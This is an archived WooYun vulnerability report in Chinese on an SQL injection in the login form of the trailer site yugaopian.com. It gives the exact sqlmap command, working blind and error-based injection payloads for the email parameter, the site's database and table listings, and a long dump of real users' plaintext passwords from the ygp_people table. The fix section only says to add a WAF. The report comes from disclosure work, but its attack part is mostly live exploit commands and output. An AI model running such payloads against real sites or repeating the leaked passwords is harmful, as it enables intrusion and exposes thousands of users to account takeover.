当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0160516

漏洞标题：预告片世界主站存在SQL注射漏洞（大量用户明文密码）

相关厂商：预告片世界

漏洞作者： 路人甲

提交时间：2015-12-16 22:41

修复时间：2016-01-28 17:10

公开时间：2016-01-28 17:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-16： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-01-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

预告片世界主站存在SQL注射漏洞（大量用户明文密码）

详细说明：

地址：http://www.yugaopian.com/login

$ python sqlmap.py -u "http://www.yugaopian.com/login" -p email --technique=BE --output-dir=output --form --random-agent --batch --no-cast --current-user --is-dba --users --passwords --count --search -C pass


Database: v44_yugaopian
Table: ygp_people
[28208 entries]
+-------------------------------------+
| password                            |
+-------------------------------------+
| !!cuixiang.                         |

漏洞证明：

<code>---
Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: email=-7847' OR 2837=2837#&password=&remember=on&refer=cnTo
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: email=-5618' OR 1 GROUP BY CONCAT(0x7170626a71,(SELECT (CASE WHEN (3390=3390) THEN 1 ELSE 0 END)),0x71766b6271,FLOOR(RAND(0)*2)) HAVING MIN(0)#&password=&remember=on&refer=cnTo
---
web application technology: PHP 5.3.29, Apache 2
back-end DBMS: MySQL >= 5.0.0
current user: 'v44_yeshan@localhost'
current user is DBA: False
database management system users [1]:
[*] 'v44_yeshan'@'localhost'
Database: v44_yugaopian
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| ygp_countall | 1338080 |
| ygp_trailer | 83273 |
| ygp_search | 81105 |
| ygp_trailer_title | 53600 |
| ygp_timeline | 37689 |
| ygp_people | 28208 |
| dp_movie | 13079 |
| ygp_star | 11496 |
| ygp_fav | 7264 |
| ygp_movielink | 7185 |
| ygp_movie | 7181 |
| ygp_poster | 6985 |
| ysg_schedule | 5346 |
| ygp_checkin | 3598 |
| ygp_comment | 2903 |
| z_ygp_psign | 868 |
| ysg_allcinemas | 794 |
| ygp_index | 564 |
| ygp_urlinvalid | 178 |
| ysg_cinema | 166 |
| ygp_movieset | 112 |
| ygp_banip | 111 |
| ysg_weixin | 86 |
| ygp_ticketevent | 81 |
| ysg_movie | 61 |
| ygp_static | 35 |
| ygp_cat | 30 |
| ygp_t_video | 21 |
| ygp_t_movie | 3 |
| ygp_admin | 2 |
+---------------------------------------+---------+
Database: v44_fenxiangzhi
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| `user` | 2033 |
| mytask | 2033 |
| task | 1291 |
| task20141206 | 1034 |
| task0116 | 47 |
| youhui | 6 |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 945 |
| SESSION_VARIABLES | 329 |
| GLOBAL_VARIABLES | 317 |
| GLOBAL_STATUS | 312 |
| SESSION_STATUS | 312 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 197 |
| COLLATIONS | 197 |
| PARTITIONS | 88 |
| TABLES | 88 |
| STATISTICS | 77 |
| SCHEMA_PRIVILEGES | 54 |
| KEY_COLUMN_USAGE | 49 |
| TABLE_CONSTRAINTS | 49 |
| CHARACTER_SETS | 39 |
| PLUGINS | 23 |
| ENGINES | 9 |
| SCHEMATA | 4 |
| PROCESSLIST | 3 |
| USER_PRIVILEGES | 1 |
+---------------------------------------+---------+
Database: v44_walkfield
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| wf_content_news | 25 |
| wf_content | 21 |
| wf_model_field | 6 |
| wf_model | 5 |
| wf_category | 4 |
| wf_block | 3 |
| wf_admin | 2 |
+---------------------------------------+---------+
columns LIKE 'pass' were found in the following databases:
Database: v44_yugaopian
Table: ygp_people
[1 column]
+----------+--------------+
| Column | Type |
+----------+--------------+
| password | varchar(255) |
+----------+--------------+
Database: v44_fenxiangzhi
Table: user
[1 column]
+----------+--------------+
| Column | Type |
+----------+--------------+
| password | varchar(255) |
+----------+--------------+
Database: v44_walkfield
Table: wf_admin
[1 column]
+----------+-------------+
| Column | Type |
+----------+-------------+
| password | varchar(32) |
+----------+-------------+
Database: v44_walkfield
Table: wf_member
[1 column]
+----------+----------+
| Column | Type |
+----------+----------+
| password | char(32) |
+----------+----------+
Database: v44_yugaopian
Table: ygp_people
[28208 entries]
+-------------------------------------+
| password |
+-------------------------------------+
| !!cuixiang. |
| !927136 |
| !@#$%^&* |
| !justlie2 |
| !qaz@wsx |
| #958744691# |
| #ix1@uk2$ug5al |
| $$$900110 |
| &Hb7T#OTrc |
| **04765826763 |
| **18363803812 |
| **^$^^!20040520 |
| *00082402062030* |
| ,./ZYCzyc |
| ,19930419. |
| -(swagger)-1aA |
| -649671.- |
| -p0-p0-p0 |
| -tqp19910920 |
| ....... |
| ...000 |
| ..5101053762mm |
| ..663116 |
| ..tou11tou |
| .03640 |
| .jian19930621 |
| .ljx19820420/ |
| /*-+789 |
| /15947335661 |
| 0*0*1987 |
| 0.0.00..a |
| 0.0.0ab. |
| 0.113959729 |
| 0.123456 |
| 0.123456 |
| 0.123456 |
| 0.123456/*- |
| 0.6221885 |
| 0000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 000000 |
| 0000000 |
| 00000000 |
| 00000000 |
| 00000000 |
| 00000000 |
| 00000000 |
| 0000000000 |
| 0000000000 |
| 0000000000 |
| 0000000000810411 |
| 00000000ad |
| 00000000ad |
| 0000001 |
| 000000aaa |
| 000000aaa |
| 000000anlin |
| 000000sx |
| 000000tian |
| 000001 |
| 0000011111 |
| 000005rkrk |
| 000008 |
| 000011 |
| 00001111 |
| 000025 |
| 000052 |
| 000110 |
| 000111 |
| 000111 |
| 0001127 |
| 000123 |
| 000214herro |
| 00024109 |
| 000316 |
| 000325 |
| 000328 |
| 0003517 |
| 000413 |
| 000422 |
| 000428 |
| 00044161 |
| 000512jie |
| 000517 |
| 000520 |
| 000520 |
| 000578 |
| 000587 |
| 000597 |
| 000629 |
| 000666w |
| 000724 |
| 000777 |
| 000853 |
| 00087774 |
| 000921 |
| 000929ly |
| 000990232 |
| 000999 |
| 001001 |
| 001002 |
| 001002 |
| 001002 |
| 001002 |
| 00100258 |
| 001018 |
| 001025 |
| 001034 |
| 00106191 |
| 001100 |
| 001100 |
| 001123 |
| 001126 |
| 001126 |
| 001128 |
| 001128 |
| 0011348 |
| 00116805 |
| 001203 |
| 001215jing |
| 001225 |
| 001234 |
| 001242 |
| 001281 |
| 001314 |
| 001314 |
| 001348 |
| 001435 |
| 00151312 |
| 001866 |
| 001968 |
| 00196927 |
| 001980 |
| 00198616 |
| 002011 |
| 002031cgq |
| 002053501 |
| 002123.. |
| 002164 |
| 002191 |
| 002233 |
| 002266 |
| 002384 |
| 002579 |
| 003006 |
| 003029 |
| 003148 |
| 003325 |
| 00363600 |
| 004122 |
| 005200 |
| 005354 |
| 005508 |
| 005920 |
| 006345 |
| 006868052xuying |
| 00700071 |
| 00700071 |
| 007007 |
| 007007 |
| 007007 |
| 007007 |
| 007007 |
| 007007 |
| 007007 |
| 007007 |
| 007007 |
| 007008 |
| 007008 |
| 007019 |
| 007019 |
| 007163 |
| 007210 |
| 0073023400 |
| 00744130 |
| 00744130 |
| 0074587 |
| 00751600 |
| 00754312 |
| 0077242200772422 |
| 007789 |
| 007856 |
| 00790083 |
| 0079999 |
| 0079hide |
| 007gejiawei |
| 007pk007 |
| 007XWQQCOMCN |
| 00800079 |
| 008250 |
| 008351 |
| 008575 |
| 008866 |
| 008974 |
| 0089757 |
| 009014 |
| 009168 |
| 00979700 |
| 00Congge13 |
| 00Covey13 |
| 010010 |
| 010010 |
| 010010 |
| 010010kl |
| 0100115712 |
| 010058 |
| 0101001 |
| 0101010101 |
| 01011230 |
| 010138 |
| 010203 |
| 010203 |
| 010203 |
| 010209xlh |
| 0102553316 |
| 01030103 |
| 01041031 |
| 0104150616y |
| 01041519977 |
| 0104612599 |
| 010489123tong |
| 010505032 |
| 010505032 |
| 010510420 |
| 010730 |
| 0107a0603 |
| 01081034 |
| 0109151775 |
| 010wushihong |
| 0110210335 |
| 0112500 |
| 0113123 |
| 011324498-zy |
| 01146266 |
| 011624918 |
| 0116796328 |
| 0119496526 |
| 011a050b |
| 01200304 |
| 0120904931604 |
| 01212198 |
| 012200664 |
| 012287 |
| 01230 |
| 0123456789 |
| 0123456789 |
| 0123456789q |
| 01236987 |
| 01236987 |
| 0123789 |
| 0123s0123s |
| 0124150298 |
| 012530 |
| 0125678 |
| 012568 |
| 0126521456 |
| 01265523 |
| 012877777 |
| 013058 |
| 013157419135 |
| 013181225 |
| 013301 |
| 013422618086 |
| 01353812 |
| 013619az |
| 013799520284. |
| 013887 |
| 0139414074110 |
| 013976108990 |
| 014094 |
| 01465190 |
| 014663 |
| 014702580.369zwd |
| 01478520asdewq |
| 0147852369 |
| 015800 |
| 016043 |
| 016601660166 |
| 017255050 |
| 018019 |
| 01851010 |
| 01886513 |
| 0194498149 |
| 01987120 |
| 019885661233 |
| 01loveyes |
| 01rufus0kami10 |
| 020050522 |
| 0201040611 |
| 020110129 |
| 020168350292 |
| 02020789 |
| 020224 |
| 0203520 |
| 02037709938 |
| 02041219 |
| 020508001 |
| 020601036 |
| 020609l |
| 020615 |
| 0206alibaba1992 |
| 020721122 |
| 02083323 |
| 0209Shingsu |
| 0209Shingsu |
| 021102121102 |
| 021107 |
| 021107 |
| 021225 |
| 021228 |
| 021324 |
| 0215-+ |
| 021517 |
| 021602160206 |
| 0219466 |
| 021baoshan |
| 022304hu |
| 02250917 |
| 0226+1002=woaini |
| 022640927xyz |
| 023045 |
| 023197 |
| 02406254 |
| 02425623069 |
| 025025 |
| 0251 |
| 025169huhu? |
| 025327 |
| 025468gk |
| 02551911 |
| 025652439 |
| 025667783 |
| 026019 |
| 026066170 |
| 027030 |
| 027187533656 |
| 0273131 |
| 02750453680 |
| 02782780086 |
| 028152155 |
| 028702652 |
| 02888347 |
| 028910111 |
| 0291837882 |
| 02919737 |
| 029301 |
| 02932275900 |
| 029428 |
| 0295644379 |
| 03011103 |
| 0301120fei |
| 030118 |
| 0301665 |
| 030201long |
| 0302777dada |
| 03030201 |
| 030308 |
| 030362 |
| 0303PANshumin |
| 030411621 |
| 030431105 |
| 030601 |
| 03060306 |
| 0306094 |
| 030774223 |
| 030831 |
| 030929 |
| 03103835588 |
| 031117 |
| 03116492 |
| 0311jac |
| 031210 |
| 031211 |
| 03123720881cj |
| 031245229 |
| 03149791 |
| 031601091137 |
| 031711 |
| 03187379 |
| 032024032024 |
| 032269018 |
| 032269018 |
| 03231250 |
| 032324 |
| 03270501 |
| 03286484 |
| 0330061 |
| 033417 |
| 03370724 |
| 03395679 |
| 03410344ivyIVY |
| 035035 |
| 0351xnwh |
| 035420 |
| 0358203582 |
| 0358203582 |
| 035878 |
| 036591113 |
| 036815 |
| 037163858209 |
| 037544wy |
| 037632 |
| 037632 |
| 038520 |
| 0385302 |
| 03975633301 |
| 039763562882 |
| 03983411025 |
| 03tcsl1tangsir |
| 0401002019181213 |
| 04010401 |
| 040214 |
| 040261902991 |
| 0403hxy |
| 04051986 |
| 04060709 |
| 040663 |
| 040716 |
| 04086773 |
| 040911 |
| 040918 |
| 040926 |
| 040929070725 |
| 04103032 |
| 04110318 |
| 04121122 |
| 04123385858 |
| 041238 |
| 0412nyh |
| 04132lpc |
| 041424 |
| 04150909 |
| 041600 |
| 041781 |
| 0417zhixiaodong |
| 04180319 |
| 04180319 |
| 0418yehanrong |
| 041961cwb |
| 042015 |
| 04218805055 |
| 04241017 |
| 04247488 |
| 04250425 |
| 04250425 |
| 04250811. |
| 042548 |
| 0425lpf |
| 04267139 |
| 042802 |
| 042860419 |
| 042874 |
| 042980lk |
| 04315689 |
| 04322062606 |
| 04400122 |
| 044351 |
| 04516301223 |
| 045177581 |
| 04522143170 |
| 045777 |
| 046100331 |
| 04650109leb |
| 047088 |
| 04714923466 |
| 04722106610 |
| 04768330580 |
| 04776891090 |
| 048048 |
| 048527 |
| 048568 |
| 049245 |
| 04sep1967 |
| 04xx03 |
| 0500140 |
| 050016 |
| 050050 |
| 050202 |
| 05030826 |
| 050514051 |
| 050603 |
| 05061110 |
| 050615150605 |
| 050627 |
| 050900532 |
| 050921 |
| 051003 |
| 051003 |
| 051011 |
| 05105509440a |
| 051106 |
| 051188 |
| 0512 |
| 0512206134,ldw |
| 051224152 |
| 051253 |
| 051257601889 |
| 05132686786568234 |
| 051384770466 |
| 05141010qq |
| 051488336 |
| 0514JaY1110ylhxf |
| 05150101 |
| 05150515 |
| 05153752878 |
| 051688 |
| 051688113580 |
| 051888283456 |
| 051901 |
| 051983462179 |
| 051988607337 |
| 0522qq0522 |
| 0523016416 |
| 0525638261 |
| 0526*/ |
| 05275861179 |
| 05306431502 |
| 05335868788 |
| 05396336339 |
| 054320081018 |
| 0555322223 |
| 05562300966 |
| 05577282819 |
| 05635812 |
| 05708586801 |
| 05721214 |
| 05722363 |
| 05736456575 |
| 05757112590 |
| 057588 |
| 057679502 |
| 057891 |
| 0579123 |
| 05797300028 |
| 057wulu403 |
| 059083 |
| 059122625702 |
| 05920592 |
| 059527363888 |
| 059654153 |
| 05985261687 |
| 060115152128 |
| 060116 |
| 0602010088 |
| 060210 |
| 060248265695 |
| 0603350135 |
| 06034124 |
| 060401228 |
| 060503 |
| 060607 |
| 060607 |
| 0607389238 |
| 06080512 |
| 060888189 |
| 0609110106tiesh |
| 0609121252 |
| 060918 |
| 061001 |
| 061028 |
| 061154 |
| 0612064 |
| 061228 |
| 06124932 |
| 06140035 |
| 061435 |
| 061798 |
| 0617ismy? |
| 0618 |
| 0623012811 |
| 06231700910 |
| 0630310230 |
| 063177can*@ |
| 0632xinmo |
| 06330110 |
| 0640203116lee |
| 064265 |
| 064265aa |
| 064265aa |
| 064512 |
| 065893661 |
| 0660087587 |
| 06728899 |
| 068994770 |
| 0690564 |
| 07010031 |
| 070104 |
| 070110 |
| 070402 |
| 070408 |
| 07041022 |
| 070428 |
| 070520 |
| 0706208112 |
| 07070309 |
| 070707 |
| 070707 |
| 070869003 |
| 070910 |
| 071003vjkevin |
| 071010 |
| 071014 |
| 07110264 |
| 071214sky |
| 071228 |
| 07124875338 |
| 0712zzy |
| 071374 |
| 071421 |
| 07146292003 |
| 0714hs |
| 07156896005 |
| 071600 |
| 0716lxy |
| 07181700 |
| 071896 |
| 071896 |
| 071925 |
| 07197670581 |
| 0721599 |
| 07264300 |
| 07307758 |
| 07308175756 |
| 0731007 |
| 07311228 |
| 07311284 |
| 073124 |
| 07332351 |
| 073580 |
| 0736300246DTY |
| 07366641097 |
| 0737142417lili |
| 07375888278 |
| 0739465q159 |
| 074316 |
| 07502162842 |
| 0752zhang |
| 075682936481342 |
| 07583316318 |
| 07594814333 |
| 076081 |
| 076410 |
| 076988863201 |
| 0771090649 |
| 0771guan! |
| 07732803479 |
| 077350 |
| 07757538621 |
| 078104081 |
| 07932230416 |
| 079903 |
| 07wqin1314 |
| 080301 |
| 08040629 |
| 080417 |
| 080673 |
| 08071023 |
| 08071984nb |
| 0808 |
| 08080206 |
| 080914 |
| 081028 |
| 0812.... |
| 081212 |
| 081217 |
| 08121984 |
| 0812888644 |
| 0813 |
| 0814060134 |
| 081725 |
| 082061 |
| 082318 |
| 082400 |
| 08240110108 |
| 0824hniadssb |
| 082500123 |
| 08261225 |
| 0826cheng |
| 0827qq1230 |
| 082818 |
| 0829Sarah0920 |
| 083129 |
| 08459397 |
| 085213 |
| 085213 |
| 085575 |
| 086123 |
| 086123 |
| 086710 |
| 08702133603 |
| 087120 |
| 08743256333 |
| 088001 |
| 088213 |
| 08886612121 |
| 089123 |
| 08msxyz |
| 090220zhangyu |
| 0903 |
| 090318 |
| 090621 |
| 09071147 |
| 090712 |
| 0908 |
| 090910 |
| 090924Queen |
| 091020 |
| 09102106 |
| 09111221 |
| 091127 |
| 09115295ab990 |
| 091155 |
| 091214 |
| 091214 |
| 09127124888 |
| 0913202123 |
| 091400 |
| 09174530 |
| 0917baibing |
| 091989110 |
| 092100 |
| 092137 |
| 092156 |
| 092329aaawan/ |
| 092631 |
| 092939 |
| 092959 |
| 0929@lizhen |
| 0932313 |
| 0932313 |
| 0932313 |
| 09323132 |
| 093255 |
| 093410371 |
| 09378938985 |
| 095747544 |
| 096221028 |
| 096352 |
| 09716111519 |
| 0971qjyc |
| 097812 |
| 098017 |
| 09805762441003 |
| 0987654 |
| 0987654321 |
| 0987654321 |
| 0987654321wang |
| 098poi |
| 098uhb |
| 099136142538 |
| 09913966408 |
| 09Foxmzam |
| 0az81a231 |
| 0fengcun0 |
| 0matrix |
| 0o0o00oojiang |
| 0o0o0o6531023zl; |
| 0o0o3353 |
| 0okmnji9 |
| 0op0op0op0op |
| 1 |
| 1 |
| 1 |
| 1 |
| 1.2.3.4.5.6. |
| 100000 |
| 1000000 |
| 100031 |
| 100047 |
| 1000g520 |
| 1000g520 |
| 100100 |
| 10010225 |
| 100107 |
| 10011001 |
| 100121xs |
| 1001aa |
| 100200 |
| 100200 |
| 100200 |
| 100200 |
| 100200 |
| 100200 |
| 100200 |
| 100200 |
| 100200 |
| 100200 |
| 100200 |
| 10020019820429hg |
| 100200300 |
| 100200300 |
| 100200300 |
| 100200FISH |
| 100200zyd! |
| 10021002ml |
| 100245036 |
| 1002473530 |
| 1003038324 |
| 100311 |
| 1003242189zhao |
| 10032827 |
| 1003gomoon |
| 100400 |
| 100406570y |
| 1004279197 |
| 100428jl |
| 1004929866 |
| 100514 |
| 1006671163 |
| 10070312 |
| 1007842030 |
| 100785 |
| 10080623cs |
| 10080912 |
| 10086 |
| 10086 |
| 10086911 |
| 100912 |
| 1009262 |
| 10100319 |
| 101010 |
| 101010 |
| 101010 |
| 101010 |
| 1010101010 |
| 101010zyd |
| 101010zyd |
| 10101111 |
| 101016 |
| 1010175771 |
| 10102340 |
| 101032832925 |
| 1010513099 |
| 1010521yulin |
| 1010653 |
| 1010912419 |
| 101092633 |
| 101099 |
| 101101110 |
| 101102 |
| 101104155 |
| 10110509 |
| 10110RE0414BORN |
| 10111016 |
| 101128 |
| 10115891 |
| 101168 |
| 101209 |
| 101276 |
| 101283 |
| 10128710 |
| 101327 |
| 1013369369 |
| 101377 |
| 101379 |
| 10141 |
| 101415 |
| 101425 |
| 101495 |
| 101529 |
| 101578 |
| 101601 |
| 1016021111 |
| 10161031 |
| 101612tstTST |
| 1016210 |
| 1016sl |
| 101740273884ally |
| 1017527 |
| 10178378 |
| 101799 |
| 10180411 |
| 10181120 |
| 10191001 |
| 10191910 |
| 101920 |
| 10192020 |
| 101Dou |
| 10201523 |
| 102030 |
| 102030 |
| 102030 |
| 102030 |
| 102030 |
| 102030123 |
| 102030z |
| 102059 |
| 102102 |
| 102102 |
| 102102 |
| 1022 |
| 102203 |
| 1022xx |
| 1022yuan |
| 10231023 |
| 1023118 |
| 1023223417 |
| 1023223417 |
| 1023518 |
| 10238068 |
| 102384 |
| 1023926 |
| 102404 |
| 10241024 |
| 1024125 |
| 10250314 |
| 1025050593 |
| 10251314 |
| 1025320485 |
| 10255201 |
| 1025624x, |
| 1025tlt00ll |
| 1025viya |
| 102641 |
| 102641 |
| 102641 |
| 10268265 |
| 102724 |
| 102742 |
| 102755 |
| 102763 |
| 10278535 |
| 1028 |
| 10280405DDDL |
| 1028067020.tmd |
| 102857mc |
| 102858 |
| 102861 |
| 1028785862 |
| 102932663725 |
| 103 |
| 103016 |
| 1031008 |
| 103112 |
| 103112 |
| 10311985 |
| 103130 |
| 1031416458 |
| 10317191229 |
| 103222758 |
| 1032726226123 |
| 103422 |
| 10344010 |
| 103458 |
| 1035027748 |
| 1035041145 |
| 10361036 |
| 103612Han |
| 1039281609@qq |
| 1040147098-- |
| 10402891 |
| 104094 |
| 1041300501lq |
| 104334981 |
| 10460120 |
| 1048459134 |
| 10509WYziluolan |
| 105514229371 |
| 105517 |
| 1056562135 |
| 105725495 |
| 105813 |
| 10601060 |
| 106105 |
| 106106 |
| 106198 |
| 106233 |
| 1062971486 |
| 1063234765 |
| 1063847890 |
| 10663355779527 |
| 106666 |
| 10688807 |
| 1069717938 |
| 106999 |
| 1070666 |
| 10711qqb |
| 1072223782520 |
| 1072664 |
| 107402 |
| 107573504 |
| 107811584 |
| 107g107g |
| 108003 |
| 108024 |
| 108108 |
| 1081420209 |
| 10829 |
| 108529 |
| 1085644172mima |
| 108573545 |
| 1086439410 |
| 10888939 |
| 109016617 |
| 1092198573 |
| 1093044471o |
| 10936820 |
| 1094670185 |
| 109570218 |
| 1097324005 |
| 109826 |
| 1098510745 |
| 1099196176 |
| 10=25=11 |
| 10m84858206 |
| 10qpsxsyxy |
| 10snameleums10 |
| 10yu+fei |
| 110000101 |
| 1100565 |
| 11006124034 |
| 110079524 |
| 110086 |
| 110102 |
| 110108 |
| 110110 |
| 110110 |
| 110110 |
| 110110 |
| 110110 |
| 110110 |
| 110110 |
| 110110 |
| 110110 |
| 110110 |
| 110110110 |
| 1101171019 |
| 110119 |
| 110119 |
| 110119 |
| 110119 |
| 110120 |
| 110120 |
| 110120 |
| 110120 |
| 110120130 |
| 110120520 |
| 110120ad |
| 1101230 |
| 110130+. |
| 11020325gzx |
| 110221110 |
| 110227ly |
| 110270 |
| 110314 |
| 11031976 |
| 11032654 |
| 11032654 |
| 110380 |
| 110381 |
| 110383 |
| 1103cjd |
| 110500yxt |
| 110548808 |
| 110620 |
| 1106658518 |
| 110789 |
| 110801 |
| 110878 |
| 1108LiuY |
| 110902 |
| 11091019 |
| 1109699654 |
| 11098492031 |
| 110z9385fzzfzzfn |
| 111 |
| 111030 |
| 11104147a |
| 1111 |
| 111104 |
| 11111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 111111 |
| 1111111 |
| 1111111 |
| 1111111 |
| 1111111 |
| 1111111 |
| 1111111 |
| 11111111 |
| 11111111 |
| 11111111 |
| 11111111 |
| 11111111 |
| 11111111 |
| 11111111 |
| 11111111 |
| 11111111 |
| 11111111 |
| 11111111 |
| 11111111 |
| 11111111 |
| 11111111 |
| 11111111 |
| 111111111 |
| 111111111 |
| 111111111 |
| 111111111 |
| 1111111111 |
| 1111111a |
| 1111111c |
| 1111111jin |
| 1111111w |
| 11111199 |
| 111111999999 |
| 111111a |
| 111111a |
| 111111aa |
| 111111aaaaaa |
| 111111fu |
| 111111iii |
| 111111qqq |
| 111111s |
| 111112 |
| 111112 |
| 11112222 |
| 111128 |
| 11113333 |
| 111205 |
| 11122210 |
| 111222333 |
| 111222333 |
| 111222333 |
| 111290447ahv |
| 1112sxj20 |
| 111300 |
| 1113161819 |
| 111323gtj |
| 111333 |
| 11140319 |
| 111444111 |
| 1114appleapple |
| 11150321 |
| 111511 |
| 111666 |
| 111666 |
| 111666 |
| 111712 |
| 11181118 |
| 111888 |
| 111888 |
| 1119608488 |
| 1119783514 |
| 111982 |
| 111999 |
| 112034 |
| 11210314 |
| 112111 |
| 112113111 |
| 112115lr |
| 112118 |
| 112123 |
| 1121454 |
| 11217845 |
| 1121987531 |
| 11220345678... |
| 112231 |
| 112233 |
| 112233 |
| 112233 |
| 112233 |
| 112233 |
| 112233 |
| 112233 |
| 112233 |
| 112233 |
| 112233 |
| 112233 |
| 11223311 |
| 11223311 |
| 11223322 |
| 1122334 |
| 1122334 |
| 11223344 |
| 11223344 |
| 11223344 |
| 11223344 |
| 11223344 |
| 11223344 |
| 11223344 |
| 11223344 |
| 11223344 |
| 11223344 |
| 11223344 |
| 11223344 |
| 11223344 |
| 11223344 |
| 1122334455--pp |
| 1122336 |
| 112233789 |
| 112233abc520.. |
| 112233zyd |
| 112235986 |
| 11225813 |
| 112287782 |
| 112310519 |
| 112323 |
| 112323 |
| 112324 |
| 112336429 |
| 11234991 |
| 112352 |
| 112358 |
| 112358 |
| 112358 |
| 112358 |
| 112358 |
| 112358 |
| 11235813 |
| 11235813 |
| 11235813 |
| 1123581321 |
| 1123581321 |
| 1123581321ltlltl |
| 1123581321yang |
| 11235813fs |
| 112358sakura |
| 112358yh |
| 112400 |
| 11240801 |
| 11241988 |
| 1124337440 |
| 1124505 |
| 11245QQ12 |
| 112500 |
| 112500 |
| 11251125 |
| 11251125 |
| 1125329 |
|

修复方案：

上WAF。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝